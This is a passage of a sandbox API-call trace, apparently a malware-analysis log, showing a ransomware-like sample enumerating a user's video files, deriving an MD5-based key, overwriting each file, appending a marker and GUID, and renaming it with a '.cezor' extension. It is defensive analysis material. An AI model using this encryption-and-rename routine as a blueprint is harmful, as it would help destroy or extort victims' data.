(in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74eb40 | out: hHeap=0x670000) returned 1 [0062.384] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\") returned="2odT1K\\" [0062.384] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5d40 [0062.384] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0062.385] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\") returned="vcVOmt\\" [0062.385] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x30d09c8 [0062.385] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5d40 | out: hHeap=0x670000) returned 1 [0062.385] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0062.385] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30180d0 [0062.385] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d09c8 | out: hHeap=0x670000) returned 1 [0062.385] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0062.385] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4898 [0062.385] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5770 | out: hHeap=0x670000) returned 1 [0062.385] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5770 [0062.385] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30180d0 | out: hHeap=0x670000) returned 1 [0062.385] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0062.385] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5770 | out: hHeap=0x670000) returned 1 [0062.385] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0062.385] PathFindFileNameW (pszPath="") returned="" [0062.385] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febdb8 [0062.385] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\VehoR9xPCLy8\\0KK-LJo0NlWa\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5bb79900, ftCreationTime.dwHighDateTime=0x1d4c81e, ftLastAccessTime.dwLowDateTime=0x2b94ea40, ftLastAccessTime.dwHighDateTime=0x1d4c7b3, ftLastWriteTime.dwLowDateTime=0x2b94ea40, ftLastWriteTime.dwHighDateTime=0x1d4c7b3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0062.385] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febdb8 | out: hHeap=0x670000) returned 1 [0062.385] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5bb79900, ftCreationTime.dwHighDateTime=0x1d4c81e, ftLastAccessTime.dwLowDateTime=0x2b94ea40, ftLastAccessTime.dwHighDateTime=0x1d4c7b3, ftLastWriteTime.dwLowDateTime=0x2b94ea40, ftLastWriteTime.dwHighDateTime=0x1d4c7b3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.385] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fc992e0, ftCreationTime.dwHighDateTime=0x1d4c82c, ftLastAccessTime.dwLowDateTime=0x8389cbd0, ftLastAccessTime.dwHighDateTime=0x1d4c803, ftLastWriteTime.dwLowDateTime=0x8389cbd0, ftLastWriteTime.dwHighDateTime=0x1d4c803, nFileSizeHigh=0x0, nFileSizeLow=0x5f3f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="-upHLx loeeu-TB.mkv", cAlternateFileName="-UPHLX~1.MKV")) returned 1 [0062.385] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febdb8 [0062.385] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x106) returned 0x31238e8 [0062.385] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febdb8 | out: hHeap=0x670000) returned 1 [0062.385] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\VehoR9xPCLy8\\0KK-LJo0NlWa\\-upHLx loeeu-TB.mkv") returned=".mkv" [0062.385] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\VehoR9xPCLy8\\0KK-LJo0NlWa\\-upHLx loeeu-TB.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vcvomt\\2odt1k\\vum2\\vehor9xpcly8\\0kk-ljo0nlwa\\-uphlx loeeu-tb.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0062.386] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=24383) returned 1 [0062.386] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0062.388] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x5f19, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.388] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0062.389] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0062.389] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0062.389] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.389] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x5f3f, lpOverlapped=0x0) returned 1 [0062.389] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0062.389] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0062.389] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0062.389] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0062.389] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74eb40) returned 1 [0062.390] CryptCreateHash (in: hProv=0x74eb40, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0062.390] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0062.390] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0062.390] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0062.390] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0062.390] GetLastError () returned 0x0 [0062.390] CryptDestroyHash (hHash=0x3038608) returned 1 [0062.390] CryptReleaseContext (hProv=0x74eb40, dwFlags=0x0) returned 1 [0062.390] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0062.390] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x5f40) returned 0x3132418 [0062.390] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0062.390] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0062.390] WriteFile (in: hFile=0x5c4, lpBuffer=0x3132418*, nNumberOfBytesToWrite=0x5f3a, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x3132418*, lpNumberOfBytesWritten=0x9aafb24*=0x5f3a, lpOverlapped=0x0) returned 1 [0062.391] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3132418 | out: hHeap=0x670000) returned 1 [0062.391] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x5f3f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.391] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5d40 [0062.391] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a430 [0062.391] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0062.391] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a878 [0062.391] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0062.391] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5d40 | out: hHeap=0x670000) returned 1 [0062.391] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a878*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a878*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0062.391] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0062.391] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0062.391] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0062.391] CloseHandle (hObject=0x5c4) returned 1 [0062.392] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xd0) returned 0x31153b0 [0062.392] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8e0) returned 0x3100c28 [0062.392] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31153b0 | out: hHeap=0x670000) returned 1 [0062.392] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\VehoR9xPCLy8\\0KK-LJo0NlWa\\-upHLx loeeu-TB.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vcvomt\\2odt1k\\vum2\\vehor9xpcly8\\0kk-ljo0nlwa\\-uphlx loeeu-tb.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\VehoR9xPCLy8\\0KK-LJo0NlWa\\-upHLx loeeu-TB.mkv.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vcvomt\\2odt1k\\vum2\\vehor9xpcly8\\0kk-ljo0nlwa\\-uphlx loeeu-tb.mkv.cezor")) returned 1 [0062.392] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0062.392] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0062.393] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31238e8 | out: hHeap=0x670000) returned 1 [0062.393] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45161a40, ftCreationTime.dwHighDateTime=0x1d4c57c, ftLastAccessTime.dwLowDateTime=0xa02179a0, ftLastAccessTime.dwHighDateTime=0x1d4d52d, ftLastWriteTime.dwLowDateTime=0xa02179a0, ftLastWriteTime.dwHighDateTime=0x1d4d52d, nFileSizeHigh=0x0, nFileSizeLow=0x10125, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8XX4ge15eOKpjI.mp4", cAlternateFileName="8XX4GE~1.MP4")) returned 1 [0062.393] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febdb8 [0062.393] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x106) returned 0x31238e8 [0062.393] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febdb8 | out: hHeap=0x670000) returned 1 [0062.394] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\VehoR9xPCLy8\\0KK-LJo0NlWa\\8XX4ge15eOKpjI.mp4") returned=".mp4" [0062.394] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\VehoR9xPCLy8\\0KK-LJo0NlWa\\8XX4ge15eOKpjI.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vcvomt\\2odt1k\\vum2\\vehor9xpcly8\\0kk-ljo0nlwa\\8xx4ge15eokpji.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0062.394] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=65829) returned 1 [0062.394] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0062.396] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x100ff, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.396] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0062.397] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0062.397] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0062.397] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.397] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x10125, lpOverlapped=0x0) returned 1 [0062.397] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0062.397] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0062.397] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0062.397] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0062.398] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74eb40) returned 1 [0062.398] CryptCreateHash (in: hProv=0x74eb40, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0062.398] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0062.398] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0062.398] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0062.398] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0062.398] GetLastError () returned 0x0 [0062.398] CryptDestroyHash (hHash=0x3038608) returned 1 [0062.398] CryptReleaseContext (hProv=0x74eb40, dwFlags=0x0) returned 1 [0062.398] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0062.399] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10130) returned 0x3132418 [0062.399] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0062.399] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0062.399] WriteFile (in: hFile=0x5c4, lpBuffer=0x3132418*, nNumberOfBytesToWrite=0x10120, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x3132418*, lpNumberOfBytesWritten=0x9aafb24*=0x10120, lpOverlapped=0x0) returned 1 [0062.399] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3132418 | out: hHeap=0x670000) returned 1 [0062.399] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x10125, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.399] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5d40 [0062.399] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a878 [0062.399] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a878, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0062.399] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a430 [0062.399] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0062.399] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5d40 | out: hHeap=0x670000) returned 1 [0062.399] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a430*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a430*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0062.400] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0062.400] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0062.400] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0062.400] CloseHandle (hObject=0x5c4) returned 1 [0062.401] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xd0) returned 0x31153b0 [0062.401] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8e0) returned 0x3100c28 [0062.401] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31153b0 | out: hHeap=0x670000) returned 1 [0062.401] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\VehoR9xPCLy8\\0KK-LJo0NlWa\\8XX4ge15eOKpjI.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vcvomt\\2odt1k\\vum2\\vehor9xpcly8\\0kk-ljo0nlwa\\8xx4ge15eokpji.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\VehoR9xPCLy8\\0KK-LJo0NlWa\\8XX4ge15eOKpjI.mp4.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vcvomt\\2odt1k\\vum2\\vehor9xpcly8\\0kk-ljo0nlwa\\8xx4ge15eokpji.mp4.cezor")) returned 1 [0062.401] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0062.401] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0062.402] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31238e8 | out: hHeap=0x670000) returned 1 [0062.402] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef645bd0, ftCreationTime.dwHighDateTime=0x1d4c7a5, ftLastAccessTime.dwLowDateTime=0x44a0f70, ftLastAccessTime.dwHighDateTime=0x1d4c848, ftLastWriteTime.dwLowDateTime=0x44a0f70, ftLastWriteTime.dwHighDateTime=0x1d4c848, nFileSizeHigh=0x0, nFileSizeLow=0xeed0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="POBuKqk7p3HVpix_cM.mp4", cAlternateFileName="POBUKQ~1.MP4")) returned 1 [0062.402] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febdb8 [0062.402] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x106) returned 0x31238e8 [0062.402] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febdb8 | out: hHeap=0x670000) returned 1 [0062.402] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\VehoR9xPCLy8\\0KK-LJo0NlWa\\POBuKqk7p3HVpix_cM.mp4") returned=".mp4" [0062.402] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\VehoR9xPCLy8\\0KK-LJo0NlWa\\POBuKqk7p3HVpix_cM.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vcvomt\\2odt1k\\vum2\\vehor9xpcly8\\0kk-ljo0nlwa\\pobukqk7p3hvpix_cm.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0062.402] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=61136) returned 1 [0062.402] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0062.405] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xeeaa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.405] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0062.406] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0062.406] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0062.406] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.406] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0xeed0, lpOverlapped=0x0) returned 1 [0062.406] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0062.406] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0062.406] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0062.406] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0062.406] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74eb40) returned 1 [0062.407] CryptCreateHash (in: hProv=0x74eb40, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0062.407] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0062.407] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0062.407] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0062.407] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0062.407] GetLastError () returned 0x0 [0062.407] CryptDestroyHash (hHash=0x3038608) returned 1 [0062.407] CryptReleaseContext (hProv=0x74eb40, dwFlags=0x0) returned 1 [0062.407] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0062.407] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xeed0) returned 0x3132418 [0062.407] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0062.407] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0062.407] WriteFile (in: hFile=0x5c4, lpBuffer=0x3132418*, nNumberOfBytesToWrite=0xeecb, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x3132418*, lpNumberOfBytesWritten=0x9aafb24*=0xeecb, lpOverlapped=0x0) returned 1 [0062.408] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3132418 | out: hHeap=0x670000) returned 1 [0062.408] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xeed0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.408] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5d40 [0062.408] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a430 [0062.408] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 